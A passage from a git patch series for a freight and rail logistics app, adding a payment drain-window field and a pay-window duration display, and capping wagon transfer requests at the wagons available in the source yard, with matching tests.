paymentDeadline?: string | null; + /** + * End of the settlement drain tail that follows `paymentDeadline`. Between the + * two, an in-flight payment can still land, so the customer is shown a + * "payment processing" state instead of a pay action. + */ + paymentDrainEndsAt?: string | null; containers?: Array<{ type: string; qty: number; vgm: number }> | null; From c743750ef6cd7bb37561d298792922cd84e79a1f Mon Sep 17 00:00:00 2001 From: marshalyordanos Date: Mon, 10 Aug 2026 22:14:04 +0300 Subject: [PATCH 12/13] feat(freight): surface scheduling clock and gate pay during drain --- .../detail/BookingSchedulingWindowCard.tsx | 45 ++++++++++++++++++- .../backoffice/src/types/booking.ts | 5 +++ 2 files changed, 49 insertions(+), 1 deletion(-) diff --git a/apps/edr-freight-web/backoffice/src/components/bookings/detail/BookingSchedulingWindowCard.tsx b/apps/edr-freight-web/backoffice/src/components/bookings/detail/BookingSchedulingWindowCard.tsx index 84f0645a8..9b5cf91f2 100644 --- a/apps/edr-freight-web/backoffice/src/components/bookings/detail/BookingSchedulingWindowCard.tsx +++ b/apps/edr-freight-web/backoffice/src/components/bookings/detail/BookingSchedulingWindowCard.tsx @@ -44,6 +44,27 @@ function formatRelative(iso: string, nowMs: number): string { return past ? `${span} ago` : `in ${span}`; } +/** + * Length of a window as "1h 30m" / "45m". Null unless both ends are real and + * ordered — the pay window is configurable per schedule, so this is read off the + * actual stamps rather than assuming any fixed duration. + */ +function formatDuration( + from: string | null | undefined, + to: string | null | undefined, +): string | null { + if (!from || !to) return null; + const fromMs = new Date(from).getTime(); + const toMs = new Date(to).getTime(); + if (!Number.isFinite(fromMs) || !Number.isFinite(toMs)) return null; + const minutes = Math.round((toMs - fromMs) / 60_000); + if (minutes <= 0) return null; + const hours = Math.floor(minutes / 60); + const rest = minutes % 60; + if (!hours) return `${rest}m`; + return rest ? `${hours}h ${rest}m` : `${hours}h`; +} + function Row({ label, value, @@ -98,8 +119,18 @@ export function BookingSchedulingWindowCard({ return () => clearInterval(interval); }, []); + // How long the customer actually had to pay: start → the raw deadline, NOT the + // drain end (the drain is settlement grace, not payable time). + const windowDuration = formatDuration( + booking.selectedForBatchAt, + booking.paymentDeadline, + ); + const hasAnything = - Boolean(schedule) || Boolean(payWindowEndsAt) || Boolean(booking.holdExpiresAt); + Boolean(schedule) || + Boolean(payWindowEndsAt) || + Boolean(booking.selectedForBatchAt) || + Boolean(booking.holdExpiresAt); if (!hasAnything) return null; const payWindowClosed = payWindowEndsAt @@ -157,6 +188,18 @@ export function BookingSchedulingWindowCard({ ) : null} + {booking.selectedForBatchAt ? ( + + ) : null} + {payWindowEndsAt ? ( Date: Mon, 10 Aug 2026 23:30:18 +0300 Subject: [PATCH 13/13] feat(wagons): enforce wagon availability limits in transfer requests --- .../wagons/dto/create-transfer-request.dto.ts | 3 +- .../wagon-transfer-requests.service.spec.ts | 42 ++++++++++++- .../wagons/wagon-transfer-requests.service.ts | 23 +++++-- .../wagons/WagonYardWorkspaceModal.tsx | 16 +++-- .../pages/wagons/TransferRequestModals.tsx | 61 +++++++++++++++++-- 5 files changed, 127 insertions(+), 18 deletions(-) diff --git a/apps/edr-freight-api/src/modules/wagons/dto/create-transfer-request.dto.ts b/apps/edr-freight-api/src/modules/wagons/dto/create-transfer-request.dto.ts index e747b69f2..85c879f70 100644 --- a/apps/edr-freight-api/src/modules/wagons/dto/create-transfer-request.dto.ts +++ b/apps/edr-freight-api/src/modules/wagons/dto/create-transfer-request.dto.ts @@ -14,7 +14,8 @@ import { * A count-only wagon-transfer request. The requester picks source yard, wagon * type, destination yard and HOW MANY — never the specific wagons; OCC hand-picks * those at fulfilment. The quantity may not exceed the AVAILABLE wagons of that - * type currently in the source yard, and a reason is mandatory. + * type currently in the source yard (enforced in the service, which is the only + * layer that can count them), and a reason is mandatory. */ export class CreateTransferRequestDto { @IsUUID() diff --git a/apps/edr-freight-api/src/modules/wagons/wagon-transfer-requests.service.spec.ts b/apps/edr-freight-api/src/modules/wagons/wagon-transfer-requests.service.spec.ts index 205d86450..8f7457b37 100644 --- a/apps/edr-freight-api/src/modules/wagons/wagon-transfer-requests.service.spec.ts +++ b/apps/edr-freight-api/src/modules/wagons/wagon-transfer-requests.service.spec.ts @@ -199,7 +199,7 @@ describe('WagonTransferRequestsService — partial fulfilment', () => { }); describe('createRequest', () => { - it('accepts a count larger than what the yard holds today', async () => { + it('accepts a count up to what the yard holds today', async () => { wagonRepo.count.mockResolvedValue(20); await service.createRequest( @@ -207,14 +207,50 @@ describe('WagonTransferRequestsService — partial fulfilment', () => { fromYardId: 'yard-a', toYardId: 'yard-b', wagonTypeId: 'type-1', - quantity: 50, + quantity: 20, reason: 'Grain campaign', }, 'user-1', ); expect(requestRepo.save).toHaveBeenCalled(); - expect(stored.quantity).toBe(50); + expect(stored.quantity).toBe(20); + }); + + it('refuses a count larger than what the yard holds today', async () => { + wagonRepo.count.mockResolvedValue(20); + + await expect( + service.createRequest( + { + fromYardId: 'yard-a', + toYardId: 'yard-b', + wagonTypeId: 'type-1', + quantity: 50, + reason: 'Grain campaign', + }, + 'user-1', + ), + ).rejects.toThrow(/only 20 wagon\(s\).*available/i); + expect(requestRepo.save).not.toHaveBeenCalled(); + }); + + it('refuses when the yard has nothing of that type available', async () => { + wagonRepo.count.mockResolvedValue(0); + + await expect( + service.createRequest( + { + fromYardId: 'yard-a', + toYardId: 'yard-b', + wagonTypeId: 'type-1', + quantity: 1, + reason: 'Grain campaign', + }, + 'user-1', + ), + ).rejects.toThrow(/no available wagons/i); + expect(requestRepo.save).not.toHaveBeenCalled(); }); it('still refuses a same-yard move', async () => { diff --git a/apps/edr-freight-api/src/modules/wagons/wagon-transfer-requests.service.ts b/apps/edr-freight-api/src/modules/wagons/wagon-transfer-requests.service.ts index 8d4159726..6b63460ad 100644 --- a/apps/edr-freight-api/src/modules/wagons/wagon-transfer-requests.service.ts +++ b/apps/edr-freight-api/src/modules/wagons/wagon-transfer-requests.service.ts @@ -75,10 +75,11 @@ export class WagonTransferRequestsService { ) {} /** - * Record a PENDING request. Count-only — no wagons are picked here, and the - * count is NOT capped by what the source yard holds today: OCC fulfils in - * instalments, so asking for 50 while only 20 sit there is a normal, useful - * request. A reason is mandatory and is shown on the OCC queue. + * Record a PENDING request. Count-only — no wagons are picked here, but the + * count IS capped by what the source yard can hand over right now: a request + * may not exceed the AVAILABLE, uncoupled wagons of that type in the source + * yard (the same number the yard desk shows). A reason is mandatory and is + * shown on the OCC queue. */ async createRequest( dto: CreateTransferRequestDto, @@ -89,6 +90,20 @@ export class WagonTransferRequestsService { 'Source and destination yard must be different', ); } + const available = await this.countAvailable( + dto.fromYardId, + dto.wagonTypeId, + ); + if (available === 0) { + throw new BadRequestException( + 'No available wagons of this type in the source yard', + ); + } + if (dto.quantity > available) { + throw new BadRequestException( + `Only ${available} wagon(s) of this type are available in the source yard — cannot request ${dto.quantity}`, + ); + } const request = this.requestRepo.create({ fromYardId: dto.fromYardId, toYardId: dto.toYardId, diff --git a/apps/edr-freight-web/backoffice/src/components/wagons/WagonYardWorkspaceModal.tsx b/apps/edr-freight-web/backoffice/src/components/wagons/WagonYardWorkspaceModal.tsx index 4a92695ca..cb9fdf86b 100644 --- a/apps/edr-freight-web/backoffice/src/components/wagons/WagonYardWorkspaceModal.tsx +++ b/apps/edr-freight-web/backoffice/src/components/wagons/WagonYardWorkspaceModal.tsx @@ -44,9 +44,8 @@ const clampInt = (v: number | string, max: number): number => { /** * NumberInput + Slider + All/Half presets, kept in sync. `max` bounds the field - * for actions that move real wagons; omit it for a transfer REQUEST, which may - * legitimately ask for more than the yard holds today (OCC fulfils it in - * instalments) — the slider then just tracks the current value. + * to the wagons on hand; omitting it leaves the field unbounded and the slider + * simply tracks the current value. */ const QuantityField = ({ value, @@ -434,9 +433,14 @@ const WagonYardWorkspaceModal = ({ opened, onClose }: WagonYardWorkspaceModalPro {availableCount} available - {/* No max: the request may exceed what the yard holds - today — OCC fulfils it in instalments. */} - + {/* Capped at the wagons actually available in this yard + right now (uncoupled + Available) — a request may not + ask for more than the yard can hand over. */} +